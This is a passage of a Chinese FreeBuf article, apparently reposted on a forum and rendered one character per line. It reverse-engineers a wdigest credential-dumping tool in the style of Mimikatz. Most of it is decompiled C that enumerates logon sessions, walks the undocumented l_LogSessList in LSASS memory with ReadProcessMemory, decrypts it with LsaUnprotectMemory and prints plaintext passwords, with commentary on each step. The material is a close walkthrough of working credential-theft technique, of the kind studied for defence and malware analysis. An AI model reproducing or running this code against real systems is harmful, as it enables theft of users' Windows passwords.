s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
,
&
v
4
8
)
;
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
=
G
e
t
P
r
o
c
A
d
d
r
e
s
s
(
S
e
c
u
r
3
2
,
"
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
"
)
;
p
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
=
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
,
&
v
4
8
)
;
s
t
a
t
u
s
1
=
(
p
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
)
(
&
c
o
u
n
t
,
&
L
i
s
t
E
n
t
r
y
)
;
加
载
s
e
c
u
r
3
2
.
d
l
l
,
然
后
获
取
几
个
函
数
的
地
址
,
枚
举
登
陆
会
话
和
获
取
登
陆
会
话
数
据
。
接
着
调
用
L
s
a
E
n
u
m
e
r
a
t
e
L
o
g
o
n
S
e
s
s
i
o
n
s
得
到
当
前
登
录
的
会
话
个
数
以
及
所
有
会
话
组
成
的
列
表
。
M
S
D
N
上
说
明
了
这
个
函
数
,
会
返
回
会
话
的
L
U
I
D
。
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
1
,
&
v
4
8
)
;
f
o
r
(
i
=
0
;
i
<
c
o
u
n
t
;
+
+
i
)
{
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
=
L
i
s
t
E
n
t
r
y
+
8
*
i
;
/
/
根
据
这
里
可
以
知
道
o
u
t
p
u
t
_
n
a
m
e
_
s
e
s
s
i
o
n
(
p
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
,
p
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
,
L
i
s
t
E
n
t
r
y
+
8
*
i
)
;
/
/
这
里
输
出
登
陆
用
户
名
进
入
o
u
t
p
u
t
_
n
a
m
e
_
s
e
s
s
i
o
n
看
看
:
i
n
t
_
_
c
d
e
c
l
o
u
t
p
u
t
_
n
a
m
e
_
s
e
s
s
i
o
n
_
r
e
a
l
(
i
n
t
(
_
_
s
t
d
c
a
l
l
*
p
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
)
(
_
D
W
O
R
D
,
_
D
W
O
R
D
)
,
i
n
t
(
_
_
s
t
d
c
a
l
l
*
p
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
)
(
_
D
W
O
R
D
)
,
i
n
t
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
)
{
i
n
t
s
t
a
t
u
s
;
/
/
e
a
x
@
1
i
n
t
s
t
a
t
u
s
1
;
/
/
e
a
x
@
1
c
h
a
r
v
6
;
/
/
[
s
p
+
0
h
]
[
b
p
-
5
0
h
]
@
1
c
h
a
r
v
7
;
/
/
[
s
p
+
C
h
]
[
b
p
-
4
4
h
]
@
1
i
n
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
;
/
/
[
s
p
+
4
C
h
]
[
b
p
-
4
h
]
@
1
i
n
t
v
9
;
/
/
[
s
p
+
5
0
h
]
[
b
p
+
0
h
]
@
1
m
e
m
s
e
t
(
&
v
7
,
-
8
5
8
9
9
3
4
6
0
,
0
x
4
4
u
)
;
s
t
a
t
u
s
=
p
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
(
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
,
&
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
)
;
_
c
h
k
e
s
p
(
&
v
6
=
=
&
v
6
,
s
t
a
t
u
s
,
&
v
9
)
;
p
r
i
n
t
f
(
"
U
s
e
r
N
a
m
e
:
%
S
n
"
,
*
(
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
+
1
6
)
)
;
p
r
i
n
t
f
(
"
L
o
g
o
n
D
o
m
a
i
n
:
%
S
n
"
,
*
(
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
+
2
4
)
)
;
s
t
a
t
u
s
1
=
p
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
(
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
)
;
r
e
t
u
r
n
_
c
h
k
e
s
p
(
&
v
6
=
=
&
v
6
,
s
t
a
t
u
s
1
,
&
v
9
)
;
}
这
里
用
了
之
前
查
找
的
L
s
a
G
e
t
L
o
g
o
n
S
e
s
s
i
o
n
D
a
t
a
和
L
s
a
F
r
e
e
R
e
t
u
r
n
B
u
f
f
e
r
,
输
出
登
陆
名
和
域
名
。
s
t
a
t
u
s
3
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
L
s
a
s
s
,
l
_
L
o
g
S
e
s
s
L
i
s
t
,
L
i
s
t
,
0
x
1
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
/
/
这
里
读
取
之
前
获
取
的
那
个
不
明
地
址
内
容
到
L
i
s
t
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
3
,
&
v
4
8
)
;
w
h
i
l
e
(
L
i
s
t
[
0
]
!
=
l
_
L
o
g
S
e
s
s
L
i
s
t
)
{
s
t
a
t
u
s
4
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
L
s
a
s
s
,
L
i
s
t
[
0
]
,
L
i
s
t
,
0
x
1
0
0
u
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
4
,
&
v
4
8
)
;
F
i
r
s
t
=
&
L
i
s
t
[
4
]
;
i
f
(
L
i
s
t
[
4
]
=
=
*
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
)
{
i
f
(
F
i
r
s
t
[
1
]
=
=
*
(
L
o
g
o
n
S
e
s
s
i
o
n
N
o
w
+
4
)
)
/
/
这
个
F
i
r
s
t
[
1
]
看
着
太
别
扭
了
,
实
际
上
就
是
比
较
L
i
s
t
[
4
]
和
枚
举
到
的
会
话
L
U
I
D
值
b
r
e
a
k
;
/
/
这
里
可
以
知
道
之
前
那
个
不
明
地
址
<
U
n
l
o
a
d
e
d
_
w
d
i
g
e
s
t
.
d
l
l
>
+
0
x
c
2
9
c
是
个
列
表
}
}
i
f
(
L
i
s
t
[
0
]
=
=
l
_
L
o
g
S
e
s
s
L
i
s
t
)
{
p
r
i
n
t
f
(
"
S
p
e
c
i
f
i
c
L
U
I
D
N
O
T
f
o
u
n
d
n
"
)
;
}
e
l
s
e
{
n
S
i
z
e
=
0
;
v
2
8
=
(
o
f
f
s
e
t
_
o
n
e
+
F
i
r
s
t
)
;
n
S
i
z
e
=
*
(
o
f
f
s
e
t
_
o
n
e
+
F
i
r
s
t
+
2
)
;
B
a
s
e
=
*
(
o
f
f
s
e
t
_
o
n
e
+
F
i
r
s
t
+
4
)
;
/
/
还
是
使
用
了
F
i
r
s
t
,
不
要
忘
记
F
i
r
s
t
是
从
当
时
那
个
不
明
地
址
处
读
取
的
值
m
e
m
s
e
t
(
B
u
f
f
e
r
2
,
0
,
0
x
1
0
0
u
)
;
s
t
a
t
u
s
2
=
R
e
a
d
P
r
o
c
e
s
s
M
e
m
o
r
y
(
L
s
a
s
s
,
B
a
s
e
,
B
u
f
f
e
r
2
,
n
S
i
z
e
,
&
N
u
m
b
e
r
O
f
B
y
t
e
s
R
e
a
d
)
;
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
2
,
&
v
4
7
)
;
/
/
这
里
读
到
加
密
之
后
的
密
码
。
整
个
流
程
就
清
楚
了
,
使
用
L
s
a
E
n
u
m
e
r
a
t
e
S
e
s
s
i
o
n
s
获
取
L
U
I
D
s
,
与
之
前
通
过
特
征
码
找
到
的
l
_
L
o
g
S
e
s
s
L
i
s
t
结
合
找
出
密
码
。
l
_
L
o
g
S
e
s
s
L
i
s
t
保
存
了
密
码
的
长
度
和
存
放
地
址
以
及
会
话
L
U
I
D
,
是
个
重
要
的
未
公
开
结
构
体
。
s
t
a
t
u
s
5
=
(
L
s
a
U
n
p
r
o
t
e
c
t
M
e
m
o
r
y
)
(
B
u
f
f
e
r
2
,
n
S
i
z
e
)
;
_
c
h
k
e
s
p
(
&
t
=
=
&
t
,
s
t
a
t
u
s
5
,
&
v
4
7
)
;
p
r
i
n
t
f
(
"
p
a
s
s
w
o
r
d
:
%
S
n
n
"
,
B
u
f
f
e
r
2
)
;
}
后
面
是
一
些
释
放
d
l
l
和
内
存
的
工
作
,
不
再
赘
述
。
程
序
和
I
D
A
数
据
库
右
键
图
片
可
以
得
到
。
[
本
文
作
者
本
文
作
者
d
e
d
o
g
g
e
r
,
本
文
属
,
本
文
属
F
r
e
e
B
u
f
黑
客
与
极
客
(
黑
客
与
极
客
(
F
r
e
e
B
u
f
.
C
O
M
)
原
创
文
章
奖
励
计
划
,
未
经
允
许
禁
止
转
载
)
原
创
文
章
奖
励
计
划
,
未
经
允
许
禁
止
转
载
]
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页